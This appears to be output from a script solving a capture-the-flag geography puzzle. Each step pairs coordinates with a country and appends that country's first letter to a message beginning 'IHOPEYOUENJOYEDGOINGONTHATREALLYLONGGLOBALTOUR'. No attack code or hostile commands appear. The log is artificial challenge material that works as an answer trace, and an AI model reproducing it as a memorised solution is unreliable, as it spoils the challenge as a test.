[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRL
[+] coordinates = (-20.153581196054418, 26.636915755173153)
[+] country = Botswana
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLB
[+] coordinates = (-20.059922878412497, 32.04160355610367)
[+] country = Zimbabwe
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZ
[+] coordinates = (29.438662736296077, 47.492871493825696)
[+] country = Kuwait
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZK
[+] coordinates = (-25.879703537789513, 15.784526373526884)
[+] country = Namibia
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKN
[+] coordinates = (14.124299057294362, -88.19146883186998)
[+] country = Honduras
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNH
[+] coordinates = (19.558334122948096, -71.98904772621917)
[+] country = Haiti
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHH
[+] coordinates = (69.47908281627605, 26.582034488912104)
[+] country = Finland
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHF
[+] coordinates = (12.118999501761223, -61.64665052383113)
[+] country = Grenada
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFG
[+] coordinates = (18.488415863733625, -88.41879964167248)
[+] country = Belize
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGB
[+] coordinates = (-6.622091386269996, 145.14127143711184)
[+] country = Papua New Guinea
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBP
[+] coordinates = (11.431148135414498, 42.179204284280075)
[+] country = Djibouti
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPD
[+] coordinates = (54.0892002852133, -8.336436292084903)
[+] country = Ireland
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDI
[+] coordinates = (8.987813881248883, -60.872283874215995)
[+] country = Venezuela
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIV
[+] coordinates = (-22.976607042427975, 16.193905128020436)
[+] country = Namibia
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVN
[+] coordinates = (-4.18380906187925, 29.88076836868052)
[+] country = Burundi
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNB
[+] coordinates = (41.181693755585755, 64.66291521343457)
[+] country = Uzbekistan
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBU
[+] coordinates = (25.78252451784364, 51.36232003482389)
[+] country = Qatar
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQ
[+] coordinates = (24.88148301969628, 51.27187271389731)
[+] country = Qatar
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQ
[+] coordinates = (17.586765289571257, 51.77265454683411)
[+] country = Yemen
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQY
[+] coordinates = (51.136025343496875, 20.33769063287403)
[+] country = Poland
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYP
[+] coordinates = (11.49850094317881, 42.405983502054205)
[+] country = Djibouti
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPD
[+] coordinates = (22.968417958705857, -81.07020363865414)
[+] country = Cuba
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDC
[+] coordinates = (25.712905668036836, 51.460948653282145)
[+] country = Qatar
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQ
[+] coordinates = (35.9323798740927, 45.60162462351733)
[+] country = Iraq
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQI
[+] coordinates = (40.54977168060613, 45.80271159477842)
[+] country = Azerbaijan
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIA
[+] coordinates = (12.721167375999881, 107.65656867049623)
[+] country = Vietnam
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAV
[+] coordinates = (56.282423523937325, 9.933950133125233)
[+] country = Denmark
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVD
[+] coordinates = (15.021313923366804, 45.47698202783033)
[+] country = Yemen
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDY
[+] coordinates = (-19.641475185609387, -174.2541736399601)
[+] country = Tonga
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYT
[+] coordinates = (-2.3772455593490123, 29.34877190437507)
[+] country = Rwanda
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTR
[+] coordinates = (62.40125076085746, 28.59903178496644)
[+] country = Finland
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRF
[+] coordinates = (19.83718512290768, 55.74851710503132)
[+] country = Oman
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFO
[+] coordinates = (7.816344884585499, 13.658937585291943)
[+] country = Cameroon
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOC
[+] coordinates = (16.323951369903593, 38.48568911779258)
[+] country = Eritrea
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCE
[+] coordinates = (14.64831229256779, -16.036180455895757)
[+] country = Senegal
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCES
[+] coordinates = (28.729348279289724, 28.790117362499707)
[+] country = Egypt
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESE
[+] coordinates = (25.295650689511767, 51.00756122332174)
[+] country = Qatar
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQ
[+] coordinates = (49.52039955155855, 24.25331755385923)
[+] country = Ukraine
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQU
[+] coordinates = (21.73272294893174, 56.98276396958051)
[+] country = Oman
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUO
[+] coordinates = (49.71411460441864, 32.43712320332562)
[+] country = Ukraine
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOU
[+] coordinates = (3.771510177715382, 31.2288746471584)
[+] country = Uganda
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUU
[+] coordinates = (1.511845239924484, 111.22005019107704)
[+] country = Malaysia
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUM
[+] coordinates = (45.50535637080293, 14.058800199977016)
[+] country = Slovenia
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMS
[+] coordinates = (29.378556096066795, 47.35774935416835)
[+] country = Kuwait
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSK
[+] coordinates = (15.364341230889295, 50.5831496081588)
[+] country = Yemen
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKY
[+] coordinates = (36.07087442774533, 138.36377928491328)
[+] country = Japan
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJ
[+] coordinates = (17.842195279992342, 52.67072772977565)
[+] country = Oman
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJO
[+] coordinates = (6.270172495538538, -69.26185919586014)
[+] country = Venezuela
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOV
[+] coordinates = (42.62596285477693, 73.43882848533092)
[+] country = Kazakhstan
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVK
[+] coordinates = (8.900942944284685, -69.74332776427879)
[+] country = Venezuela
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKV
[+] coordinates = (42.09970107477899, 140.09477481188333)
[+] country = Japan
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJ
[+] coordinates = (-1.1681993362512606, 11.1070946768057)
[+] country = Gabon
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJG
[+] coordinates = (-13.804709831403299, 48.306344026709255)
[+] country = Madagascar
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGM
[+] coordinates = (70.04906780046164, 170.80190981173376)
[+] country = Russia
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMR
[+] coordinates = (9.364754918133626, -1.379680835973812)
[+] country = Ghana
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRG
[+] coordinates = (-0.5123643880989168, 166.91038630919888)
[+] country = Nauru
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGN
[+] coordinates = (-24.69781448940843, -61.20188694175336)
[+] country = Argentina
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNA
[+] coordinates = (-7.491011903883188, 178.6903387888035)
[+] country = Tuvalu
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNAT
[+] coordinates = (-0.5142381449682499, 166.93605669534955)
[+] country = Nauru
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNATN
[+] coordinates = (31.032015494911303, 35.08929096533537)
[+] country = Israel
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNATNI
[+] coordinates = (-1.7486614805406604, 29.273346865486598)
[+] country = Rwanda
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNATNIR
[+] coordinates = (1.413855390801623, 9.820750446985818)
[+] country = Equatorial Guinea
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNATNIRE
[+] coordinates = (13.05755749282482, 22.88251101286638)
[+] country = Sudan
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNATNIRES
[+] coordinates = (19.635996642981922, -71.78436731145912)
[+] country = Haiti
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNATNIRESH
[+] coordinates = (71.76338054159409, 123.15848996876099)
[+] country = Russia
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNATNIRESHR
[+] coordinates = (3.8805018972732324, -159.32404016043884)
[+] country = Kiribati
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNATNIRESHRK
[+] coordinates = (19.421613682018506, -71.74844449058037)
[+] country = Haiti
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNATNIRESHRKH
[+] coordinates = (-52.10834492826288, -70.61145377477368)
[+] country = Chile
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNATNIRESHRKHC
[+] coordinates = (59.04262037798989, 25.807820588341905)
[+] country = Estonia
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNATNIRESHRKHCE
[+] coordinates = (12.015403061807813, 42.74189540675237)
[+] country = Djibouti
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNATNIRESHRKHCED
[+] coordinates = (19.8889775221962, -72.92714881473785)
[+] country = Haiti
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNATNIRESHRKHCEDH
[+] coordinates = (19.383166536238313, -72.01991968985362)
[+] country = Haiti
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNATNIRESHRKHCEDHH
[+] coordinates = (-18.709888165782345, 27.86495262620151)
[+] country = Zimbabwe
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNATNIRESHRKHCEDHHZ
[+] coordinates = (16.661595773851438, 51.23220045671269)
[+] country = Yemen
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNATNIRESHRKHCEDHHZY
[+] coordinates = (25.848726239888855, 51.2126706577948)
[+] country = Qatar
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNATNIRESHRKHCEDHHZYQ
[+] coordinates = (62.216195513463404, 113.05628879578387)
[+] country = Russia
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNATNIRESHRKHCEDHHZYQR
[+] coordinates = (-16.910570007011934, 30.596807715281102)
[+] country = Zimbabwe
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNATNIRESHRKHCEDHHZYQRZ
[+] coordinates = (-17.70870157276752, 168.357288837245)
[+] country = Vanuatu
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNATNIRESHRKHCEDHHZYQRZV
[+] coordinates = (19.04098614899285, 55.481410272456614)
[+] country = Oman
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNATNIRESHRKHCEDHHZYQRZVO
[+] coordinates = (41.882017240235655, 45.93406092647046)
[+] country = Georgia
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNATNIRESHRKHCEDHHZYQRZVOG
[+] coordinates = (9.948862943368631, -83.49190467887524)
[+] country = Costa Rica
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNATNIRESHRKHCEDHHZYQRZVOGC
[+] coordinates = (14.020642002077539, -86.6581308772755)
[+] country = Honduras
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNATNIRESHRKHCEDHHZYQRZVOGCH
[+] coordinates = (0.4073893927731693, 41.335555895737784)
[+] country = Somalia
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNATNIRESHRKHCEDHHZYQRZVOGCHS
[+] coordinates = (-17.32506818593016, -63.57161999641103)
[+] country = Bolivia
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNATNIRESHRKHCEDHHZYQRZVOGCHSB
[+] coordinates = (39.663907642111226, 44.89402557511953)
[+] country = Azerbaijan
